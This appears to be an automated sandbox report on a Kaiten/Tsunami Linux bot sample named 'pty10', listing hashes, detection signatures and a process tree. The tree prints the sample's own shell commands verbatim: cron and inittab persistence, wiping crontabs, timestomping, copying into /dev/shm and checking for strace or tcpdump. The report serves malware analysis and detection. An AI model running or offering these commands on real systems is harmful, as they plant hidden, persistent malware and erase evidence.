Analysis
- max time kernel
84s - max time network
123s - platform
debian-12_armhf - resource
debian12-armhf-20260513-en - resource tags
arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem - submitted
22/07/2026, 06:37
Behavioral task
behavioral1
Sample
pty10
Resource
debian12-armhf-20260513-en
10 signatures
150 seconds
General
- Target pty10
- Size 782KB
- Sample260722-hdlfqaxtbv
- SHA256 bfab96ba9cc070006e1cd2b793ff14b896ac468002284253eeb36a514b532205
- MD5 5073809fc80f0582ec5d95f544b0dd7b
- SHA1 9ad7295dc9e9a4b86ef4e0beaa6bd29c430fc842
- SHA512 570e02f18a8ec05266f428585eb4fa234b402617cc881fc9d23ef60386ee5223132bbffb6f0bb21dc12502e4074bb32634e45c728073ff50cb57fa3d2f257356
- SSDEEP 24576:vnhRZ4obEZv+RSil+j6okRY/zF1qwuXF/:J//bOOl+jaqPeF/
- TLSH T19705336D07AE31455FA74D46BD6B730090F26E943AE9DE0445EC2D3E23EA1F0AB10A5F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/783-1-0x00008000-0x001b85e0-memory.dmp family_kaiten_v3 - Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.zFS3y2 crontab File opened for modification /var/spool/cron/crontabs/tmp.fn56Y4 crontab File opened for modification /var/spool/cron/crontabs/tmp.dknIzO crontab File opened for modification /var/spool/cron/crontabs/tmp.bx8cW2 crontab File opened for modification /var/spool/cron/crontabs/tmp.FUCADs crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Indicator Removal: Timestomp 1 TTPs 10 IoCs
Adversaries may remove indicators of compromise from the host to evade detection.
pid Process 823 sh 824 touch 850 sh 851 touch 870 sh 871 touch 891 touch 911 touch 890 sh 910 sh -
resource yara_rule behavioral1/files/fstream-7.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself c0smrvenw3pe7e2vspmm75lf 783 pty10 -
description ioc Process File opened for reading /proc/675/stat pidof File opened for reading /proc/4/cmdline pidof File opened for reading /proc/8/cmdline pidof File opened for reading /proc/728/cmdline pidof File opened for reading /proc/785/stat pidof File opened for reading /proc/35/cmdline pidof File opened for reading /proc/42/stat pidof File opened for reading /proc/372/stat pidof File opened for reading /proc/56/cmdline pidof File opened for reading /proc/733/stat pidof File opened for reading /proc/51/stat pidof File opened for reading /proc/2/cmdline pidof File opened for reading /proc/9/cmdline pidof File opened for reading /proc/315/stat pidof File opened for reading /proc/1/stat pidof File opened for reading /proc/46/cmdline pidof File opened for reading /proc/self/maps grep File opened for reading /proc/22/stat pidof File opened for reading /proc/24/stat pidof File opened for reading /proc/315/stat pidof File opened for reading /proc/783/cmdline pidof File opened for reading /proc/799/stat pidof File opened for reading /proc/5/stat pidof File opened for reading /proc/9/stat pidof File opened for reading /proc/14/cmdline pidof File opened for reading /proc/45/stat pidof File opened for reading /proc/317/stat pidof File opened for reading /proc/728/cmdline pidof File opened for reading /proc/6/stat pidof File opened for reading /proc/45/stat pidof File opened for reading /proc/326/cmdline pidof File opened for reading /proc/25/cmdline pidof File opened for reading /proc/780/cmdline pidof File opened for reading /proc/self/maps grep File opened for reading /proc/212/cmdline pidof File opened for reading /proc/642/stat pidof File opened for reading /proc/670/stat pidof File opened for reading /proc/15/stat pidof File opened for reading /proc/670/cmdline pidof File opened for reading /proc/11/cmdline pidof File opened for reading /proc/14/cmdline pidof File opened for reading /proc/56/stat pidof File opened for reading /proc/6/stat pidof File opened for reading /proc/28/cmdline pidof File opened for reading /proc/326/cmdline pidof File opened for reading /proc/393/cmdline pidof File opened for reading /proc/309/stat pidof File opened for reading /proc/16/stat pidof File opened for reading /proc/26/cmdline pidof File opened for reading /proc/788/cmdline pidof File opened for reading /proc/self/maps grep File opened for reading /proc/16/cmdline pidof File opened for reading /proc/51/stat pidof File opened for reading /proc/32/cmdline pidof File opened for reading /proc/33/stat pidof File opened for reading /proc/44/stat pidof File opened for reading /proc/315/cmdline pidof File opened for reading /proc/796/cmdline pidof File opened for reading /proc/17/stat pidof File opened for reading /proc/29/cmdline pidof File opened for reading /proc/8/stat pidof File opened for reading /proc/32/cmdline pidof File opened for reading /proc/197/cmdline pidof File opened for reading /proc/315/cmdline pidof - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/pty10 cp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bawtz pty10
Processes
-
/tmp/pty10/tmp/pty101⤵
- Changes its process name
- Writes file to tmp directory
PID:783 -
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:790
-
/usr/bin/pidofpidof -x strace3⤵
- Reads runtime system information
PID:796
-
-
-
/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:802
-
/usr/bin/pidofpidof -x tcpdump3⤵
- Reads runtime system information
PID:803
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty10\" > /etc/inittab2"2⤵PID:806
-
/usr/bin/catcat /etc/inittab3⤵PID:809
-
-
/usr/bin/grepgrep -v /tmp/pty103⤵PID:813
-
-
-
/bin/shsh -c "crontab -r"2⤵PID:807
-
/usr/bin/crontabcrontab -r3⤵PID:810
-
-
-
/bin/shsh -c "crontab -l | grep /tmp/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:808
-
/usr/bin/grepgrep /tmp/pty103⤵PID:812
-
-
/usr/bin/crontabcrontab -l3⤵PID:811
-
-
/usr/bin/grepgrep -v "no cron"3⤵PID:814
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:817
-
-
/usr/bin/crontabcrontab -l3⤵PID:818
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty10\" >> /etc/inittab2"2⤵PID:815
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:819
-
/usr/bin/catcat /etc/inittab23⤵PID:820
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:821
-
/usr/bin/rmrm -rf /etc/inittab23⤵PID:822
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:823 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:824
-
-
-
/bin/shsh -c "cp -f /tmp/pty10 /dev/shm/pty10"2⤵PID:829
-
/usr/bin/cpcp -f /tmp/pty10 /dev/shm/pty103⤵
- Writes file to shm directory
PID:830
-
-
-
/bin/shsh -c "/bin/uname -n"2⤵PID:828
-
/bin/uname/bin/uname -n3⤵PID:831
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty10\" > /etc/inittab2"2⤵PID:835
-
/usr/bin/catcat /etc/inittab3⤵PID:837
-
-
/usr/bin/grepgrep -v /dev/shm/pty103⤵PID:838
-
-
-
/bin/shsh -c "crontab -l | grep /dev/shm/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:836
-
/usr/bin/crontabcrontab -l3⤵PID:839
-
-
/usr/bin/grepgrep /dev/shm/pty103⤵PID:840
-
-
/usr/bin/grepgrep -v "no cron"3⤵PID:841
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:844
-
-
/usr/bin/crontabcrontab -l3⤵PID:845
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty10\" >> /etc/inittab2"2⤵PID:842
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:846
-
/usr/bin/catcat /etc/inittab23⤵PID:847
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:848
-
/usr/bin/rmrm -rf /etc/inittab23⤵PID:849
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:850 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:851
-
-
-
/bin/shsh -c "cp -f /tmp/pty10 /var/tmp/pty10"2⤵PID:852
-
/usr/bin/cpcp -f /tmp/pty10 /var/tmp/pty103⤵PID:853
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty10\" > /etc/inittab2"2⤵PID:855
-
/usr/bin/catcat /etc/inittab3⤵PID:857
-
-
/usr/bin/grepgrep -v /var/tmp/pty103⤵PID:858
-
-
-
/bin/shsh -c "crontab -l | grep /var/tmp/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:856
-
/usr/bin/crontabcrontab -l3⤵PID:859
-
-
/usr/bin/grepgrep -v "no cron"3⤵
- Reads runtime system information
PID:861
-
-
/usr/bin/grepgrep /var/tmp/pty103⤵PID:860
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:864
-
-
/usr/bin/crontabcrontab -l3⤵PID:865
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty10\" >> /etc/inittab2"2⤵PID:862
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:866
-
/usr/bin/catcat /etc/inittab23⤵PID:867
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:868
-
/usr/bin/rmrm -rf /etc/inittab23⤵PID:869
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:870 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:871
-
-
-
/bin/shsh -c "cp -f /tmp/pty10 /var/lock/pty10"2⤵PID:872
-
/usr/bin/cpcp -f /tmp/pty10 /var/lock/pty103⤵PID:873
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty10\" > /etc/inittab2"2⤵PID:875
-
/usr/bin/catcat /etc/inittab3⤵PID:877
-
-
/usr/bin/grepgrep -v /var/lock/pty103⤵PID:878
-
-
-
/bin/shsh -c "crontab -l | grep /var/lock/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:876
-
/usr/bin/crontabcrontab -l3⤵PID:879
-
-
/usr/bin/grepgrep /var/lock/pty103⤵PID:880
-
-
/usr/bin/grepgrep -v "no cron"3⤵PID:881
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:884
-
-
/usr/bin/crontabcrontab -l3⤵PID:885
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty10\" >> /etc/inittab2"2⤵PID:882
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:886
-
/usr/bin/catcat /etc/inittab23⤵PID:887
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:888
-
/usr/bin/rmrm -rf /etc/inittab23⤵PID:889
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:890 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:891
-
-
-
/bin/shsh -c "cp -f /tmp/pty10 /var/run/pty10"2⤵PID:892
-
/usr/bin/cpcp -f /tmp/pty10 /var/run/pty103⤵PID:893
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty10\" > /etc/inittab2"2⤵PID:895
-
/usr/bin/catcat /etc/inittab3⤵PID:897
-
-
/usr/bin/grepgrep -v /var/run/pty103⤵
- Reads runtime system information
PID:898
-
-
-
/bin/shsh -c "crontab -l | grep /var/run/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:896
-
/usr/bin/crontabcrontab -l3⤵PID:899
-
-
/usr/bin/grepgrep /var/run/pty103⤵
- Reads runtime system information
PID:900
-
-
/usr/bin/grepgrep -v "no cron"3⤵PID:901
-
-
/usr/bin/crontabcrontab -l3⤵PID:905
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:904
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty10\" >> /etc/inittab2"2⤵PID:902
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:906
-
/usr/bin/catcat /etc/inittab23⤵PID:907
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:908
-
/usr/bin/rmrm -rf /etc/inittab23⤵PID:909
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:910 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:911
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /dev/shm/pty10
- Size 782KB
- SHA256 bfab96ba9cc070006e1cd2b793ff14b896ac468002284253eeb36a514b532205
- MD5 5073809fc80f0582ec5d95f544b0dd7b
- SHA1 9ad7295dc9e9a4b86ef4e0beaa6bd29c430fc842
- SHA512 570e02f18a8ec05266f428585eb4fa234b402617cc881fc9d23ef60386ee5223132bbffb6f0bb21dc12502e4074bb32634e45c728073ff50cb57fa3d2f257356
- SSDEEP 24576:vnhRZ4obEZv+RSil+j6okRY/zF1qwuXF/:J//bOOl+jaqPeF/
- TLSH T19705336D07AE31455FA74D46BD6B730090F26E943AE9DE0445EC2D3E23EA1F0AB10A5F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /etc/inittab2
- Size 147B
- SHA256 8b96259f4ab0c092701259e8fc6f004ad38c74281faea62926b40a8d33c08558
- MD5 80dbe5f0a997ba4b4d95fbe33a01206d
- SHA1 01a904d5d3ce3a30465e9fe5ed9058c15e3dcf4c
- SHA512 32f8868938eef02be63426c434a13724ca0873896446a967661be87c40c8182035d7f215e8748dcf4c21df03fd055ae4f3b11a9351ca0a4f13d16a721124f025
- TLSH T193C04803FC322CAC84F0A22804280002E2834308D1C38B0FC90F39728A08F0A6E7002A
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 26B
- SHA256 f24f3e30df8aad9492bae5d3a0c3e3a223a30e2269a88ad788e29343bd6093db
- MD5 f7f555488797493aeda7415c1e89575d
- SHA1 82f83553dfdefa7cdb6ad24b58207d0dd0f5f80d
- SHA512 326351fdcc74f33555c4e74edece7f14eca458cac901bbf853d8feb4ed1d1283e95c88395aa2a4481ef8958be44b5601cf350331008ba9a43a5c73336859b078
- MD5 SHA1 SHA512
- Path /etc/inittab2
- Size 56B
- SHA256 48ef014ece85962934660a812d4613935ab385fa83fdaa5eb13500be7b40c87a
- MD5 1e8e72b095f871499889d440ad14122d
- SHA1 fe1d5a63c6dfb8658b255fd6c68d88c8563b17f6
- SHA512 7106b8bd10742561e208b292e2cc3127330ff101cec3aac7e4f59807ee13cbe6669e14ecf2c6d5cf522c6f308aa3a63d628de4b2d06ee2e39b4c2622e43ca6b9
- TLSH T1C1900203F8501D0C91F0A01805000101D2035708D5C70B1E814B29729608F0A6E74002
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.FUCADs
- Size 303B
- SHA256 8b8aa9348b449bb408d88c351907dfc0164159929b388bf09b457c1ca67e16b6
- MD5 7c0712fa557caf264056f591764faa64
- SHA1 36106803a05d64d107f7ccec0f42b7c8d5b433e0
- SHA512 5eb82a5f66784052f2d0ce031354b2a43555760521520913df0ac02bda121364dc71e8b79c1463fcf5065d13ba284ba37d2992b738c3b7583b8800fd7d92b154
- TLSH T142E0C2387B202C7879484E38159F208A9A83A56E802D6E55F1CE9524214D71BE632A30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.bx8cW2
- Size 259B
- SHA256 5c89c96c81129449673482824f899657ca746eef1311bbc537c4da577b03ee00
- MD5 b59ba5056df8c2569a49aeea51e28339
- SHA1 2970760dc7e8497c44be03ac444b867225371d88
- SHA512 8482b7f5340e8168f5fb3e73f0cfb54a89be63751f88b22bec29d95186a019a56ef46fa7ff70f32bc643eaf560f4fbff63ea48d8941f66ce6dbe5fea632f1d16
- TLSH T189D02E387B202C3479080A28059B208A9A83A56E801DAE55F0CE8424210D71BA621A20
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.dknIzO
- Size 215B
- SHA256 811aa3fe8e55bdcf852551258959daafb65b8f89de7e89e91468f0b8445d764f
- MD5 fe58b1a6d47eecc3ddd2c53d19e00e5c
- SHA1 5ba0658bedf698a862152a067fea507e3eefec65
- SHA512 c832a411822f7eb153abac605531326ea0260832464ad37b7451927e9c2d1a836a97861a83cc6261507bd03b0924aedf7fef2a4c97f7a011fa270698803569d1
- TLSH T1EFD0223C3F202C307E090B18159B155E9983A1BE800DAE59E1DD1428120E74FAB61E31
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.fn56Y4
- Size 392B
- SHA256 ae05df81846f5be3d4879bdb6a1150171929bf264c4e47bddeb5bfc4558ba1d2
- MD5 12e3066d92b0f89f1168ff514a4c7cfe
- SHA1 983e2e6f1bd8df9f65da08437a1d56230105ab45
- SHA512 f77fdac51c3f636d9bdeed7292ac155a409532434af56c95a553c069895dd8d4414fb4d98f234e90364b1f92acd0a662eae5d7033b990dfe1894102f3a7604c0
- TLSH T18EE01234BA211CA97D8C8E78199F60969BC3656A402D6E56F1CEA824254D70BE572B30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.zFS3y2
- Size 348B
- SHA256 b46e4e8e26879d8085ffca0995e19db7572ee4a5781fdbe3dd06144f0585a30d
- MD5 1b0dd910b225a84884172b5a9ca0d8af
- SHA1 13d74ca5477fab8d24721005b220bfcb57945f81
- SHA512 274e529f7ffc2505b55ebbbd6c4221f6e568f92f0fc8225e1466d9f6d36b557f0aa97df5dd8b8459a2356fbaf239b0ea3cd3ccfd228a9043aa39b318d74b3bac
- TLSH T18FE026387F301CB8788C4E38089F208A8BC3652E402C6E45F0CEE420204C30BE232B30
- MD5 SHA1 SHA512 TLSH